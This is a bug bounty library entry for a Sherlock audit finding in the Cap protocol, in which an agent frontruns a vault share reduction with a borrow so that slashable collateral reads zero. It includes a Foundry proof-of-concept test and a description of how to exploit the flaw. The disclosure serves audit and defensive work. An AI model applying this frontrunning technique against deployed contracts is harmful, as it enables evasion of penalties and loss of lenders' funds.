# Agents can evade the full extent of a slash

Cap's slashTimestamp uses last borrow time, letting an agent frontrun a share reduction with a borrow so slashable collateral reads zero.

- Payout: Audit contest
- Severity: medium
- Program: Cap
- Found by: Uddercover
- Disclosed: 2025-07-07
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-07-cap-judging/issues/316
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-07-cap%3AM-5
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:race-window technique:source-review vuln:business-logic

**Target:** Delegation.sol slashTimestamp / Lender borrow
**Root cause:** slashTimestamp returns max(last borrow timestamp, last delegation epoch start), so a borrow in the same block as a share reduction resets the slashable-stake reference point to a moment when collateral is already zero.
**Steps:**
1. Agent borrows from Lender.sol.
2. Agent frontruns the symbiotic OPERATOR_NETWORK_SHARES_SET_ROLE holder's share-reduction tx with a borrow in the same block.
3. Subsequent slash attempts call slashTimestamp, which returns the last borrow time, so slashableCollateral and coverage evaluate to 0.
4. Run PoC testAgentEvadeSlash: borrow, warp 5 days, borrow max, vault_admin delegates shares to 0, warp 1, assert slashableCollateral==0 and coverage==0.
**How found:** Reading slashTimestamp logic and noticing the returned timestamp is always last-borrow-or-later, creating a narrow slashable window; combined with readme note that Cap epoch < symbiotic epoch, agent can escape penalties the symbiotic vault would still apply.
**Exploitation:** Agent monitors the symbiotic vault admin's share-reduction transaction and frontruns it with a borrow so the slash reference timestamp lands after collateral is removed, evading the slash entirely.
**Insight:** When a protocol derives a historical stake snapshot from a user-controllable action timestamp (like last borrow), check whether that action can be frontrun to move the snapshot past the point where collateral was removed.

## Proof of concept (copied exactly from the original report)

**Foundry test proving agent evades slash**

```
function testAgentEvadeSlash() public {
        //agent borrows
        vm.startPrank(user_agent);
        assertEq(usdc.balanceOf(user_agent), 0);
        lender.borrow(address(usdc), 500e6, user_agent);
        assertGt(usdc.balanceOf(user_agent), 0);
        vm.stopPrank();

        //some time later, agent front runs share update with another borrow
        vm.warp(block.timestamp + 5 days);
        vm.startPrank(user_agent);
        lender.borrow(address(usdc), type(uint256).max, user_agent);
        vm.stopPrank();

        vm.startPrank(env.symbiotic.users.vault_admin);
        _symbioticVaultDelegateToAgent(symbioticWethVault, env.symbiotic.networkAdapter, user_agent, 0);
        vm.stopPrank();

        vm.warp(block.timestamp + 1);

        uint256 slashableCollateral = delegation.slashableCollateral(user_agent);
        uint256 coverage = delegation.coverage(user_agent);
        assertEq(slashableCollateral, 0);
        assertEq(coverage, 0);

        (,,,,, uint256 health) = lender.agent(user_agent);
        assertEq(health, 0);
    }
```

